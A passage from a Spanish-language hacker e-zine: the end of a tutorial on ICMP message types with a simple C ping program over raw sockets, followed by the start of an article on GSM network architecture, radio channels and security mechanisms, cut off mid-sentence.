****************[ Cabeceras ICMP_ECHO y ICMP_ECHOREPLY ]*********************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| Identificador | SEQ number |
|-------------------------------------------------------------------|
| datos |
| |

*****************************************************************************

El campo codigo tendra siempre el valor 0. El identificador y el
numero de secuencia se usaran por el host que manda el ICMP_ECHO original
para determinar que ICMP_ECHOREPLY corresponde a cada ICMP_ECHO.

Como podeis ver este tipo de mensajes no informa absolutamente de
nada, y simplemente se usa para saber si un host esta activo. ¿a alguien le
suena algo como "ping"?



2.5. Tiempo agotado
-------------------

Cada vez que un router recive un datagrama IP lo primero que hace es
comprobar si es el mismo el destino del mismo, en caso de no serlo comprobara
si el TTL (Time-to-live) del paquete es distinto a 0 y de ser asi enviara el
paquete al siguiente salto. Pero si el valor del TTL es 0 debe descartar el
paquete y avisar al host de origen, para ello usara el ICMP del tipo 11
(ICMP_TIME_EXEEDED).

Tambien se mandara este tipo de ICMP cuando un host esta esperando
que lleguen fragmentos de un paquete y estos no llegan.

La cabezera correspondiente al ICMP_TIME_EXEEDED es la que se muestra a
continuacion:

**********************[ Cabecera ICMP_TIME_EXEEDED ]*************************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| No se usan |
|-------------------------------------------------------------------|
| Cabecera IP y 8 primeros bytes de los datos |
| del datagrama que genero el error |
| |

*****************************************************************************

El valor del campo codigo sera 0 si se descarta el datagrama a causa
del TTL o 1 si se exede el tiempo de espera de algun fragmento.



2.6. Problema en los parametros
-------------------------------

Puede darse la situcion de que la contnstruccion de un paquete sea
erronea, ya sea porque el paquete se ha visto degradado por el camino, o por
que el host de origen no lo construyo correctamente. Para esas situaciones
tan poco comunes hoy en dia existe el ICMP del tipo 12 (ICMP_PARAMETERPROB),
cuya cabecera es la siguiente:

*********************[ Cabecera ICMP_PARAMETERPROB ]*************************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| Puntero | No se usan |
|-------------------------------------------------------------------|
| Cabecera IP y 8 primeros bytes de los datos |
| del datagrama que genero el error |
| |

*****************************************************************************

El campo Puntero, apuntara al byte dentro del paquete original que
produjo el error, y el campo codigo servira para concretar mas el tipo de
error. Si este vale 0 se interpreta que hay algo no interpretable alla donde
apunta el puntero, si vale 1 que falta algun opcion obligatoria (por ejemplo,
en una red que requiere uso de opciones de seguridad), y si vale 2 la
interpretacion sera que el tamaño del paquete no es correcto.



2.7. Marca de tiempo
--------------------

Al igual que los tipos echo y echoreply, las marcas de tiempo actuan
con el sistema de peticion-respuesta. Al mandar un ICMP del tipo 13
(ICMP_TIMESTAMP), el host esta solicitando las marcas de tiempo, el tiempo
que el host de destino tarda en procesar dicho paquete. Como se puede ver es
realmente similar a los tipos echo y echoreply vistos anteriormente. Pero
veamos las diferencias:

*************[ Cabeceras ICMP_TIMESTAMP y ICMP_TIMESTAMPREPLY ]**************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| Identificador | SEQ number |
|-------------------------------------------------------------------|
| Tiempo de generacion |
|-------------------------------------------------------------------|
| Tiempo de recepcion |
|-------------------------------------------------------------------|
| Tiempo de transmision |
---------------------------------------------------------------------

*****************************************************************************

El host A manda un ICMP_TIMESTAMP al host B, antes de mandar el
paquete coloca en Tiempo de generacion la marca de tiempo. Cuando el Host B
recive el paquete genera un paquete ICMP_TIMESTAMPREPLY (tipo 14) y coloca en
Tiempo de recepcion la marca de tiempo de cuando recivio el paquete y en
Tiempo de tranmision la marca de tiempo del momento en que manda el paquete
al Host A. Asi pues Tiempo de transmision - Tiempo de recepcion = Tiempo de
procesamiento :)

Seguro que alguien se esta comiendo el coco pensando que ocurre si
Host A y Host B estan en diferente zona horaria, y, en consecuencia la hora
del sistema es distinta... pues realmente no pasa nada ;) ya que se usa el
horaio universal, anteriormente conocido como Tiempo medio de Greenwich.
Intresante.



2.8. Solicitud de informacion
-----------------------------

Los tipos 15 (ICMP_INFO_REQUEST) y 16 (ICMP_INFO_REPLY), usan,
nuevamente el sistema que hemos visto de peticion-respuesta. No son ICMP's
que se usen demasiado. En la cabecera IP, los campos que identifican a la red
(en direccion de origen y direccion de destino) se ponen a cero, y sera
entonces el host de destino quien coloque la direccion completa. Por si no lo
has deducido, esto le puede servir a un host para saber la red en la que se
encuentra :)

*************[ Cabeceras ICMP_INFO_REQUEST y ICMP_INFO_REPLY ]***************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| Identificador | SEQ number |
---------------------------------------------------------------------

*****************************************************************************

El campo codigo a 0.... como no :)



2.9. Obtencion de mask address
------------------------------

Cuando un host no sabe con que mascara de red debe trabajar debe
averiguarlo. Para ello mandara un ICMP_ADDRESS (tipo 17) en un datagrama de
tipo broadcast (es decir un datagrama dirigido a todos y cada uno de los
hosts de la red), de manera que cuando un host autorizado a responer lo
reciva mandara un ICMP_ADDRESSREPLY, cuya cabecera veis un poco mas abajo,
rellenando el campo Mascara de direccion.

***************[ Cabeceras ICMP_ADDRESS y ICMP_ADDRESSREPLY ]****************

---------------------------------------------------------------------
| Tipo | Codigo | Suma de control |
|-------------------------------------------------------------------|
| Identificador | SEQ number |
|-------------------------------------------------------------------|
| Mascara de direccion |
---------------------------------------------------------------------

*****************************************************************************

Codigo=0 de nuevo....


2.10. Resumen: Todos los tipos aqui
-----------------------------------

0 0 ICMP_ECHOREPLY
3 0 ICMP_DEST_UNREACH - ICMP_NET_UNREACH
3 1 ICMP_DEST_UNREACH - ICMP_HOST_UNREACH
3 2 ICMP_DEST_UNREACH - ICMP_PROT_UNREACH
3 3 ICMP_DEST_UNREACH - ICMP_PORT_UNREACH
3 4 ICMP_DEST_UNREACH - ICMP_FRAG_NEEDED
3 5 ICMP_DEST_UNREACH - ICMP_SR_FAILED
3 6 ICMP_DEST_UNREACH - ICMP_NET_UNKNOWN
3 7 ICMP_DEST_UNREACH - ICMP_HOST_UNKNOWN
3 8 ICMP_DEST_UNREACH - ICMP_HOST_ISOLATED
3 9 ICMP_DEST_UNREACH - ICMP_NET_ANO
3 10 ICMP_DEST_UNREACH - ICMP_HOST_ANO
3 11 ICMP_DEST_UNREACH - ICMP_NET_UNR_TOS
3 12 ICMP_DEST_UNREACH - ICMP_HOST_UNR_TOS
3 13 ICMP_DEST_UNREACH - ICMP_PKT_FILTERED
3 14 ICMP_DEST_UNREACH - ICMP_PREC_VIOLATION
3 15 ICMP_DEST_UNREACH - ICMP_PREC_CUTOFF
4 0 ICMP_SOURCE_QUENCH
5 0 ICMP_REDIRECT - ICMP_REDIR_NET
5 1 ICMP_REDIRECT - ICMP_REDIR_HOST
5 2 ICMP_REDIRECT - ICMP_REDIR_NETTOS
5 3 ICMP_REDIRECT - ICMP_REDIR_HOSTTOS
8 0 ICMP_ECHO
11 0 ICMP_TIME_EXCEEDED - ICMP_EXC_TTL
11 1 ICMP_TIME_EXCEEDED - ICMP_EXC_FRAGTIME
12 0 ICMP_PARAMETERPROB - Causa: Algo no interpretable
12 1 ICMP_PARAMETERPROB - Causa: Falta opcion obligatoria
12 2 ICMP_PARAMETERPROB - Causa: Tamaño incorr
ecto
13 0 ICMP_TIMESTAMP
14 0 ICMP_TIMESTAMPREPLY
15 0 ICMP_INFO_REQUEST
16 0 ICMP_INFO_REPLY
17 0 ICMP_ADDRESS
18 0 ICMP_ADDRESSREPLY



3. Utilidades de ICMP
---------------------

3.1. Informacion de errores
---------------------------

El protocolo ICMP tiene multiples utilidades, pero sin lugar a dudas
la mayor utilidad que se le da es la de informar a los hosts de una red de
los errores producidos en la misma, y en algunos casos tratar de
corregisrlos. Gracias a ICMP, nuestra maquina puede saber que un paquete que
ha mandado no ha llegado a su destino, por lo que se debe repetir su envio.



3.2. ¿Estas?
------------

Internet crece inevitablemente. Unas redes se unen con otras, que al
mismo tiempo se unen con otras. Asi pues LAN's y WAN's conviven conjuntamente
en la selva denominada internet, ello hace que sea realmente dificil llevar
un control de los hosts conectados a la misma. ICMP, gracias a ICMP_ECHO y
ICMP_ECHOREPLY, proporciona un mecanismo intresante para saber si un host se
encuentra operativo o no. Cuando un host A quiere saber si el host B se
encuentra en pie solo tiene que mandar un ICMP_ECHO a dicho host y esperar
que este responda con un ICMP_ECHOREPLY (ademas es posible ver el tiempo que
tardan los paquetes en ir y volver). Esto se realiza automaticamente con el
archiconocido "ping".

En algunas redes con politicas de firewalling muy duras, es realmente
posible que un host no responda una peticion aunque este se encuentre activo,
por ello ping no es realmente una herramienta muy fiable.



3.3. Trazado de rutas
---------------------

Nos referiremos a ruta como la lista de encaminadores o routers por
los que un paquete pasa cuando va de un host A a otro host B. En principio, y
viendo las caractericticas de ICMP es imposible sonsacar dicha lista, pero
si pensamos al mismo tiempo en IP, y concretamente en su campo TTL (time to
live) vemos que si que es posible.

Hay realmente varias maneras de hacer trazados de ruta (me refiero a
las implementaciones que los programadores de "traceroute" le han dado). En
los inicios de dicha aplicacion, y durante muchos a
s "traceroute" ha
trabajado mandando ICMP's. Veamos exactamente como funciona:

El host A necesita saber la ruta que hay entre si mismo y un host B,
para ello manda un ICMO_ECHO con el valor del TTL a 1. El primer encaminador
por el que pasa el paquete decrementa el TTL y ve que este se iguala a 0, por
lo que descarta el paquete y manda un ICMP_TIME_EXEEDED al host A, de manera
que A ya sabe cual es el primer encaminador. "que hara para descubrir el
segund? Pues mandar un ICMP_ECHO con el valor del TTL a 2. El host A ira
incrementando el valor del TTL hasta recivir un ICMP_ECHOREPLY del host B, la
cual cosa indicara que la ruta se ha completado.

Actualmente la accion por defecto de "
traceroute" no es la de mandar
ICMP_ECHO's, sino paquetes UDP al puerto dns. Aun asi, ICMP sigue jugando el
papel mas importante, el de los ICMP_TIME_EXEEDED's.

Existe tambien la posiblidad de realizar trazados usando TCP, yo
cree una implementacion hace algun tiempo... pero no se donde la habre
metido. Lastima... ya no puedo hacer cut&paste para rellenar el articulo ;-)



3.4. Obtencion del MTU de una ruta
----------------------------------

Como supongo que ya sabreis (seguro que ya habeis leido los articulos
de entrañas de internet O:-), el MTU de una ruta es la unidad maxima de
transmision que puede circular por la misma. La obtencion de la MTU de una
ruta puede mejorar notablemente el rendimiento de una comunicacion ya que
se evita la fragmentacion de paquetes.

Durante muchos años se ha aplicado un tamaño fijo del MTU efectivo
para el envia de paquetes fuera del ambito local, pero eso, obiamente
suponia una considerable perdida de rendimiento en muchos casos. Los
ingenieros en telecomunicacion estuvieron pensando como un host podria ser
capaz de obtener el MTU efectivo de una ruta e idearon el Path MTU
discovery. El funcionamiento de esta tecnica es realmente simple. Juega con
envio de paquetes con varios tamaños distintos y la prohivicion de
fragmentacion.

El host A quiere obter el MTU efectivo de la ruta Host A -=- Host B,
pues lo que hace es mandar un paquete con el tamaño fijado en el MTU para
trafico local, y con el flag de no fragmentacion. Si un router no es capaz de
procesar el paquete (falta de recursos, tamaño demasiado grande para un
cableado, etc) debido a su tamaño intentara fragmentar dicho paquete y le
sera imposible por lo que mandara un ICMP_DEST_UNREACH al Host A con el
codigo 4. Si el software del router es actual, en el los 16 ultimos bits del
campo "
no usado" se especificara el MTU para el proximo salto y el Host A
tendra una referencia de por donde seguir probando. De lo contrario tendra
que ir rediciendo el tamaño del paquete sin una referencia.

En el momento en el que el Host A deja de recivir mensajes ICMP de
error es que el MTU usado es el MTU efectivo.

Algunas implementaciones realizan comprobaciones periodicas para ver
si el tamaño del MTU ha variado. Esto es importante, sobretodo si el MTU
efectivo que se esta usando es muy pequeño.



4. Programando ICMP
-------------------

La programacion de sockets para el envio de mensajes ICMP requiere
del uso del tipo de conectores SOCK_RAW, que permite colocar en cada uno de
los campos de la cabecera el valor deseado por el programador. UNIX nos brinda
con el fichero netinet/ip_icmp.h en el que estan definidas las cabeceras
necesarias para el tratamiento de este protocolo en el campo de la
programacion.

No me voy a enrroyar demasiado en este tema, pues basta con conocer
el protocolo y el tratamiento de los sockets para no tener ninguna
complicacion a la hora de comprender un ejemplo. El ejemplo que voy a poner
esta sacado de un libro, y es realmente clarificatorio, aun asi he puesto
algun que otro comentario para que quede mas claro.

---/ mi_ping.c /---

/*
* Como el nombre bien indica es una herramienta para realizar "
ping". Por
* lo que si has leido el documento sabras que trataremos con ICMP_ECHO y
* ICMP_ECHOREPLY.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h> /* Aqui estan definidas las cabeceras IP */
#include <netinet/ip_icmp.h> /* Aqui estan definidas las cabeceras IMCP */
#include <netdb.h> /* Para usar gethostbyname() */
#include <strings.h>
#include <stdio.h>

int main(int argc, char **argv) {
struct sockaddr_in sa;
struct hostent *he;
struct protoent *pr;
struct icmphdr *icmp; /* Asi es como se define una cabecera ICMP */
struct iphdr *ip; /* Y asi la cabecera IP */
char *host;
int s, n;
unsigned char pqt[4096];
long sum;
unsigned short *p;
unsigned short impar;
host=NULL;
if (!inet_aton(argv[1], &sa.sin_addr)) {
if ((he=gethostbyname(argv[1]))==NULL) {
/*
* No se ha podido resolver el host
*/
fprintf(stderr, "
Host incorrecyo\n");
exit(1);
}
bcopy(he->h_addr, &sa.sin_addr, he->h_length);
host=he->h_name;
}
sa.sin_family=AF_INET;
sa.sin_port=0;
if (!(pr=getprotobyname("
icmp"))) {
perror("
getprotobyname");
exit(1);
}
/*
* Ahora llega la hora de crear el socker, fijate que uso AF_INET y
* SOCK_RAW.
*/
if ((s=socket(AF_INET, SOCK_RAW, pr->p_proto))<0) {
perror("
socket");
exit(1);
}
icmp=(struct icmphdr *)pqt;
/*
* Presta atencion ahora, pues se van a rellenar los campos de la
* cabecera ICMP. Recuerda que se trata de un ICMP del tipo ICMP_ECHO.
*/
icmp->type=ICMP_ECHO; /* ¿lo ves? :P */
icmp->code=0; /* Code=0, consultar teoria */
icmp->checksum=0; /* Lo calcularemos luego */+
icmp->un.echo.id=getpid();
icmp->un.echo.sequence=0;
/*
* Ahora calcularemos el checksum, ya que si no se validaria el paquete
* al llegar.
*/
p=(unsigned short *)pqt;
sum=0;
n=sizeof(struct icmphdr);
while(n>1) {
sum+=*p++;
n-=2;
}
if (n==1) {
impar=0;
*((unsigned char *)&impar)=*(unsigned char *)p;
sum+=impar;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
icmp->checksum=(unsigned short)~sum;
/*
* Ahora mandaremos el paquetito
*/
if (sendto(s, &pqt, sizeof(struct icmphdr), 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("
sendto");
exit(1);
}
/*
* Preparados para recivir la respuesta.
*/
do {
bzero(&sa, sizeof(sa));
bzero(pqt, sizeof(pqt));
if (recvfrom(s, &pqt, sizeof(pqt), 0, (struct sockaddr *)&sa, &n)<0) {
perror("
recvfrom");
exit(1);
}
ip=(struct iphdr *)&pqt;
icmp=(struct icmphdr *)(&pqt[0]+(ip->ihl<<2));
if ((icmp->type==ICMP_ECHOREPLY) && (icmp->un.echo.id==getpid())) {
fprintf(stdout, "
Recibido ECHO REPLY desde %s\n", host?host:argv[1]);
} else {
fprintf(stdout, "
Tipo: %i Codigo: %i Id: %i Sequencia %i\n", icmp->type, icmp->code, icmp->un.echo.id, icmp->un.echo.sequence);
}
} while (1);
}

---/ myping.c /---

Probemos pues este programa, a ver si hace lo que nosotros queremos :)


server:~# ping 192.168.1.2 -c1
PING 192.168.1.2 (192.168.1.2): 56 data bytes
64 bytes from 192.168.1.2: icmp_seq=0 ttl=255 time=0.1 ms

--- 192.168.1.2 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.1/0.1/0.1 ms
server:~# ./myping 192.168.1.2
Recibido ECHO REPLY desde 192.168.1.2

server:~# ping 192.168.1.69 -c1
PING 192.168.1.69 (192.168.1.69): 56 data bytes

--- 192.168.1.69 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
server:~# ./myping 192.168.1.69

server:~#


Parece que funciona a las mil maravillas. Si es que somos unos coders
geniales.



5. ICMPv6
---------

En plena "
construccion" del protocolo IPv6, aparece ICMP y dice "Yo no
quiero ser menos", con lo que aparece tambien la version 6 del protocolo
ICMP. Dicha version conserva muchas de las funciones de la version que hemos
comentado en las lineas anteriores a estas, pero destacan algunos cambios
importantes. En esta seccion del documento tratare de resumirlo bastante.

Entre las nuevas ventajas del protocolo ICMPv6 nos podemos encontrar
las siguientes funciones, que no se encontraban en la version 4 de este
protocolo.

[*] - Funciones que intentan substituir al protocolo ARP.
[*] - Mas facilidades a la hora de descubrir el MTU de una ruta (si no sabes
de que va lee un poco mas arriba).
[*] - Dejan de existir los ICMP_SOURCE_QUENCH, es una lastima O:-)
[*] - Funciones para el multienvio.
[*] - Ayuda para la configuracion automatica de direcciones.
[*] - Ayuda para detectar gateways fuera de servicio

NOTA: No voy a comentar, como he hecho con el protocolo ICMPv4 cada uno de los
tipos de paquete, sinembargo cabe decir que las cabeceras no sufren
demasiados cambios.


6. Despedida
------------

Sin mucho mas que decir me despido. Si quereis que profundice un
poco mas con el protocolo ICMPv6 hacedmelo saber (ripe@7a69ezine.org).

Sobre ICMP... quiza os lleveis una sorpresa un dia de estos, o quiza
no. El tiempo lo dira :)

Bueno un saludo a todos, y un besazo a todas.

*EOF*
-=( 7A69 E-zine 11 )=--=( art9 )=--=( Tecnologia GSM )=--=( Bruj0 )=-

1.-Intro.
2.-Arquitectura GSM.
3.-Niveles de comunicacion.
4.-Movilidad GSM.
5.-Servicios GSM.
6.-Canal de Radio GSM - TDMA.
7.-Caracteristicas de Seguridad.
8.-Autentificacion.
9.-Confiencialidad.
10.-Despedida!

1.-Intro.

Antes, con los sistemas de telefonica Celular como AMPS (Advanced Mobile
Phone System) y TACS (Total Access Communication System) era bastante facil
para cualquier Phreaker, interceptar las conversaciones telefonicas
celulares ya que esos sistemas analogicos utilizaban ESN (Electronic Serial
Number) que transmitia la informacion sin cifrar, y facilitaba un fraude
telefonico, en toda regla ;). Ahora la cosa esta mas dificil, ya que en GSM
se utiliza un algoritmo de codificacion de voz, modulacion digital GSMK
(Gaussian Minimum Shift Keying), lento salto de frecuencia y arquitectura de
ranuras de tiempo TDMA (Time Division Multiple Access).

2.-Arquitectura GSM.

La arquitectura GSM consta de varios Subsistemas:

- Estacion Movil (MS): Se trata de telefonos digitales que pueden ir
integrados como terminales en vehiculos, pueden ser portables e incluso
portatiles. Un dispositivo SIM (Subscriber Identify Module) que es
basicamente la tipica Tarjeta que proporciona la informacion de servicios e
identificacion en la Red,

- Subsistema de Estacion (BSS): Es una coleccion de dispositivos que
soportan el interface de radio de redes de commutacion. Los principales
componentes del BSS son:

1.-Estacion Traceptora de Base (BTS) - Consta de los modems de
radio y el equipo de antenas.
2.-Controlador (BSC) - Gestiona las operaciones de radio de
varias BTS y conecta a un unico NSS (Network and Switching
Sub-System).

- Subsistema de Commutacion y Red (NSS): Proporciona la commutacion
entre el subsistema GSM y las redes externas (PSTN, PDN...) junto
con las bases de datos utilizadas para la gestion adicional de la
movilidad y de los abonados. Los componentes son:

1.-Centro de conmutacion de Servicios Moviles (MSC).
2.-Registros de Localizacion Domestico y de Visitas
(HLR - VLR).
*.-LAs bases de datos de HLR y VLR se interconectan
utilizando la Red de Control SS7.
4.-Subsistema de Operaciones (OSS) - Responsable del
mantenimiento y operacion de la Red, de la gestion de los
equipos moviles y de la gestion y cobro de cuota.

3.-Niveles de comunicacion.

Como GSM no es dioS ni nada parecido ;), necesita la utilizacion de varios
protocolos para poder controlar las llamadas, transferir informacion y
proporcionar gestion global del sistema. Desde la MS existen 4 niveles para
la comunicacion:

1.- Interface RF (Radio Frecuency) a la BTS.
2.- Nivel de gestion de Recursos de Radio (RR) al BSC.
3.- Gestion de la movilidad (MM).
4.- Gestion de las comunicaciones (CM) al registro VLR del MSC.

El de transmision entre la MS y la

  
BTS es el unico componente que es
unico a las redes celulares GSM, modificado para funcionar sobre diferentes
frecuencias en el caso de PCS y reemplazado totalmente en el caso de
sistemas de comunicacion por satelite. El interfaz entre la MS y la BTS
consta de un canal TDMa de salto de frecuencia que se divide en varios
subcanales, unos se utilizan para la transmision de informacion de usuario y
el resto los utilizan los protocolos de control convenidos. Para
incrementar la vida de la bateria y reducir la interferencia entre
estaciones, los transmisores de la MS y de la BTS adaptan automaticamente
su potencia de transmision. Se utilizan 9 canales en el interfaz aereo:

1.- FCCH - Informacion de Frecuencias.
2.- SCH - Sigue a la rafaga FCCH, proporciona una referencia para
todas las ranuras de una frecuencia dada.
3.- PAGCH - Transmision de Informacion de paginacion que se pide en el
establecimiento de una llamada a una estacion movil (MS).
4.- RACH - Canal no limitado utilizado por la MS para pedir conexiones
desde la red terrestre.
5.- CBCH - Transmision no frecuente de difusiones.
6.- BCCH - Informacion de estado de acceso a la MS.
7.- FACCH - Control de los "Handovers" (Paso de un usuario movil de una
celula a otra).
8.- TCH/F - Para voz a 13 Kbps o datos a 12, 6 o 3,6 Kbps.
9.- TCH/H - Para voz a 7 Kbps o datos a 6 o 3,6 Kbps.

El salto lento de frecuencias se utiliza en los canales de trafico que estan
centrados a intervalos de 200 KHz entre 890 y 915 MHz y 935 y 960 MHz.
Utilizando el salto de frecuencias lento, se obtiene una diversidad de
frecuencias que mejora la calidad de la señal global pero no da "espiritu"
:) a los canales de ruido. Cada rafaga de transmision se completa antes de
commutar las frecuencias. Los protocolos RR son responsables de la
asignacion y reasignacion de canales de trafico entre la MS y la BTS. Estos
servicios son:

- Controlar el acceso inicial al sistema.
- Paginar para llamadas terminadas en el movil.
- "Handover" de llamadas entre celulas.
- Control de Potencia.
- Terminacion de llamadas.

Los protocolos RR proporcionan los procedimientos para la utilizacion,
asignacion, reasignacion y liberacion de los canales GSM.

4.-Movilidad GSM.

Una de las caracteristicas principales utilizadas en todas las redes GSM y
satelite, es la capacidad para soportar el "roaming" (poder cambiar de un
pais a otro...viajar!) de los usuarios. Utilizando la red de señalizacion de
control, los MSCs interactuan para localizar y conectar a los usuarios en
toda la red. Los "Registros de Localizacion" se encuentran incluidos en las
Bases de Datos del MSC para ayudar a la funcion de determinar como y si las
conexiones deben realizarse para los usuarios itinerantes (usuarios
Roaming). CAda user de una estacion movil GSM tiene asignado un HLR que se
utiliza para contener la localizacion del usuario y los servicios del
abonado en cuestion ;). Un registro separado, denominado VLR se utiliza para
seguir la pista de localizacion de un user. Cuando el user cruza el aera
cubierta por el HLR, la estacion movil notificara una nueva VLR de su
paradero actual (e.j. Un viaje a fuera de las fronteras Españolas ;D...) El
VLR a si vez utiliza la red de control para señalar la HLR de la nueva
localizacion de la estacion movil. Utilizando esta informacion, las llamadas
terminadas en el movil se pueden encaminar al usuario utilizando la
informacion de lozalizacion contenida en el HLR del usuario.

5.-Servicios GSM.

Bueno, en esta seccion, mas que nada introducida pa rellenar.. ;P, ya que me
imagina que la mayoria de vosotros sabreis que servicios ofrece GSM. Pero
bueno ya que estoy aqui... El nivel de gestion de comunicaciones proporciona
3 clases de servicios primarios:

- Control de llamadas.
- Servicios Suplementarios.
- Servicio de Mensajes Cortos.

Los servicios de control de llamadas son responsables del encaminamiento de
llamadas, me explico, determinar quien es el responsable de los costos de la
llamada y la organizacion que tiene que recibir el pago. Los servicios
suplementarios son el reenvio de llamadas, llamada en espera, aviso de
cargo, passwords, etc... ;). El nivel de gestion de las comunicaciones
incluye servicios para manipular servicios de mensajes cortos, que son mas
eficientemente manipulados utilizando transferencias orientadas a paquetes
que las conexiones tradicionales de commutacion de circuitos soportadas por
el sistema GSM principal.

6.-Canal de Radio GSM - TDMA.

Antes de nada, el estandar GSM especifica las bandas de frecuencia de 890 a
915 MHz para la banda del enlace saliente y 935 a 960 MHz para la banda del
enlace entrante; cada banda se divide en canales de 200 Khz (Todo esto lo he
explicado mas arriba ;)). Otras caracteristicas del interface de canal de
radio son la alimentacion de tiempo adaptativa, la modulacion GMSK, la
transmision y recepcion discontinua y el salto de frecuencia lento. La
alineacion de tiempo adaptativa permite a la estacion movil corregir su
ranura de tiempo de transmision para retardos de propagacion. La modulacion
GMSK proporciona eficiencia espectral e interferencia fuera de banda baja
requerida en el sistema GSM. La transmision y recepcion discontinua se
refiere a la caida de potencia de la estacion movil durante periodos de
inactividad y sirve al doble proposito de reducir la interferencia entre
canales y aumentar el tiempo de vida de la bateria de la unidad portable. El
salto de frecuencias lento es una caracteristica adicional del interfaz de
canal de radio GSM que ayuda a contrarestar efectos de desvanecimiento
Rayleigh y de la interferencia entre canales. Los canales de 200 KHz de cada
banda se subdividen en ranuras de tiempo de 577 milisegundos. Juntando ocho
ranuras de tiempo se forma "una trama" TDMA de 4,6 milisegundos. Juntando 26
o 51 tramas TDMA se forma una "multitrama" (120 o 235 milisegundos)
dependiendo de si el canal es para trafico o datos de control. Juntando 51 o
26 multitramas (de nuevo, dependiendo del tipo de canal :)) se forma una
"supertrama" (6,12 segundos). Una "hipertrama" se compone de 2048
supertramas, totalizando una duracion de 3 horas, 28 minutos, 53 segundos y
760 milisegundos. La estructura de trama TDMA tiene asociado un número de
secuencia de 22 bits que identifica de forma unica una trama TDMA dentro de
una hipertrama dada. Los distintos canales lógicos que son convertidos en la
estructura de tramas TDMA pueden ser agrupados en canales de tráfico (TCHs)
utilizados para transportar voz o datos de usuario y canales de control
(CCHs) utilizados para transportar señalizacion y datos de sincronizacion.
Los canales de control se dividen en:

- Canales de control de difusion.
- Canales de control común.
- Canales de control dedicados.

Cada ranura de tiempo dentro de una trama TDMA contiene datos modulados
denominados rafaga ("burst"). Existen cinco tipos de rafagas:

- Normal.
- Correccion de frecuencia.
- Sincronizacion .
- "Dummy" (de relleno).
- Rafagas de acceso.

La tasa de bits del canal de radio es de 270,833 Kbps que corresponde a la
duracion de una ranura de tiempo de 156,25 bits. La rafaga normal se compone
de una secuencia de arranque ("start") de tres bits, 116 bits de carga util
("payload"), 26 bits de secuencia de entrenamiento utilizada para ayudar a
contrarestar los efectos de la interferencia multicamino, 3 bits de
secuencia de parada ("stop") necesitados por el codificador de canal y un
periodo de guarda (de una duracion de 8,25 bits) que es un "colchon" para
permitir tiempos de llegada diferentes de rafagas en ranuras de tiempo
adyacentes desde estaciones moviles dispersas geograficamente. Dos bits de
la carga util de 116 bits se utilizan por el canal de control asociado
rapido (FACCH) para señalar que una rafaga dada ha sido tomada, dejando un
total de 114 bits de carga util. El algoritmo de codificacion de voz
utilizado en GSM esta basado en un codificador predictivo lineal excitado ;)
por impulso rectangular con predicion a largo termino (RPE-LTP). El
codificador de voz produce muestras a intervalos de 20 milisegundos a una
tasa de bits de 13 Kbps, produciendo 260 bits por muestra o trama. Estos 260
bits se dividen en 182 bits de clase 1 y 78 bits de clase 2 basandose en una
evaluacion subjetiva de su sensibilidad a los errores de bits, siendo los
bits de clase 1 los mas sensibles. La codificación de canal supone la
adicion de bits de comprobacion de paridad y codificacion convolucional de
media tasa de la salida de 260 bits del codificador de voz. La salida del
codificador de canal es una trama de 456 bits, que se divide en 8
componentes de 57 bits y se entremezcla ("interleaved") sobre ocho tramas
consecutivas TDMA de 114 bits. Cada trama TDMA consta de dos conjuntos de 57
bits procedentes de dos tramas separadas de codificador de canal de 456
bits. El resultado de la codificacion de canal y del entremezclado es para
contrarestar los efectos de desvanecimiento de interferencia de canal y
otras fuentes de errores de bits.

7.-Caracteristicas de Seguridad.

Y llegamos a la parte que para mi es la mas interesante de todo el articulo.
Espero que no os esteis aburriendo mucho con el mundo GSM... La seguridad en
GSM consta de los siguientes aspectos:

1.- Autenticacion de la Identidad del Abonado.
2.- Confidencialidad de la Identidad del Abonado.
3.- Confidencialidad de los Datos de Señalizacion.
4.- Confidencialidad de los Datos del Usuario.

El abonado se le identifica de forma unica utilizando la Identidad de
Abonado Movil Internacional (IMSI). Esta informacion junto con la clave
individual de autenticacion de abonado (Ki) constituyen las "credenciales de
identificacion"
sensibles, analogas al ESN (Electronic Serial Number) de los
sistemas analogicos como AMPS (Advanced Mobile Phone System) y TACS (Total
Access Communication System). El diseño de los esquemas de cifrado y
autenticacion es tal que esta informacion sensible nunca se transmite por el
canal de radio. En su lugar se utiliza un mecanismo de "desafio-respuesta"
para realizar la autenticacion. Las conversaciones reales se cifran
utilizando una clave temporal de cifrado generada aleatoriamente (Kc). La
Estacion Movil (MS) se identifica por medio de la Identidad Temporal de
Abonado Movil (TMSI) que emite la red y puede cambiarse periodicamente (por
ejemplo durante momentos de no intervencion "hand-offs" :D) para mayor
seguridad. Los mecanismos de seguridad de GSM se implementan en tres
elementos diferentes del sistema:

1.- El Modulo de Identidad del Abonado (SIM).
2.- El Aparato portatil GSM tambien denominado Estacion Movil (MS).
3.- La Red GSM.

El SIM contiene la IMSI, la clave individual de autenticacion del abonado
(Ki), el algoritmo de generacion de claves de cifrado (denominado A8), el
algoritmo de autenticacion (denominado A3) y el Numero de Identificacion
Personal (PIN) ;P. El aparato GSM (portatil o portable) contiene el
algoritmo de cifrado (denominado A5). Los algoritmos de cifrado (A3, A5 y
A8) tambien estan presentes en la red GSM. El Centro de Autenticacion (AUC),
parte del Subsistema de Operacion y Mantenimiento (OMS) de la red GSM consta
de una Base de Datos de Informacion de identificacion y autenticacion de
abonados. Esta informacion consta de la IMSI, de la TMSI, de la Identidad de
Area de Localización (LAI) y de la clave individual de autenticacion de
abonado para cada usuario. Para que funcionen los mecanismos de
autenticacion y confidencialidad se requiren tres elementos:

- El SIM.
- El aparato GSM.
- La red GSM.

Esta distribucion de credenciales de seguridad y de algoritmos de cifrado
proporciona una medida adicional de seguridad para asegurar la privacidad de
las conversaciones telefonicas celulares y la prevencion de fraude en la
telefonia celular ;). Dentro de la red GSM, la informacion de seguridad se
distribuye entre el AUC (Authentication Center), el Registro de Localizacion
